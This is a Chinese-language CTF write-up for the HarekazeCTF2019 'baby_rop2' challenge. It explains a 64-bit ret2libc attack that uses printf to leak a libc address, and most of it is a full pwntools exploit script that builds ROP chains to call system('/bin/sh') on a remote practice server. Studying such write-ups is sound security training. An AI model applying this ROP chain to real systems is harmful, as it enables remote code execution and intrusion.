HarekazeCTF2019 baby_rop2

其实就是简单的64位ret2libc,但是有一些坑需要知道
其一
没有以前熟知的puts函数,所以我打算用read函数来打印处read函数的got表,但是发现没有
pop rdx ; ret 寄存器不够,不能设置好参数

所以就此作罢。
然后想到这里有printf函数,所以打算用printf打印出printf的got表,所以这里就引出了下面的
一个问题。
其二
新知识点,用printf函数的plt,需要设置两个参数,第一个是格式化字符串地址,第二个就是
printf的got表,但是,这里又会出一个小问题,就是用printf的got表不能打通,换成read的
got表就行(我也不知道为啥??)
这里的格式化字符串地址:fmt_str,我找的是Welcome to the Pwn World again, %s!\n 的
地址 0x400770
所以最终的脚本如下:其中包含一些无用的代码片段,因为这些经常用
from pwn import *
from LibcSearcher import LibcSearcher
from pwn import p64,u64,p64,u32
from ctypes import * # 伪随机数库
context(log_level="debug",os="linux",arch="amd64",terminal=["tmux","sp","-h"])
# context(log_level="debug",os="linux",arch="i386",terminal=["tmux","sp","-h"])
# libc=ELF("/mnt/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6")
libc=ELF("./libc.so.6")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",29438)
# io=process("./pwn")
def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr() :
# return u32(io.recv()[0:4])
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
#LibcSearcher -> dump()
# return libc_base + libc.dump('system'), libc_base + libc.dump("str_bin_sh")
#ELF("libc-2.23.so") ->sym[]
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) :
return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
offset = 0x20
printf_plt = elf.plt["printf"]
printf_got = elf.got["read"]
print(hex(printf_got))
fmtstr = 0x400770
ret = 0x00000000004004d1
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
main = elf.sym["main"]
payload = b"a"*(offset + 8)
payload += p64(pop_rdi) + p64(fmtstr)
payload += p64(pop_rsi_r15) + p64(printf_got) + p64(0)
payload += p64(printf_plt)
payload += p64(main)
sla(b"What's your name? ",payload)
printf_addr = get_addr()
print(hex(printf_addr))
libc_base = printf_addr - libc.sym["read"]
system, binsh = get_sb(libc_base)
payload = b"a"*(offset + 8)
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
sla(b"What's your name? ",payload)
sl(payload)
inter()

浙公网安备 33010602011771号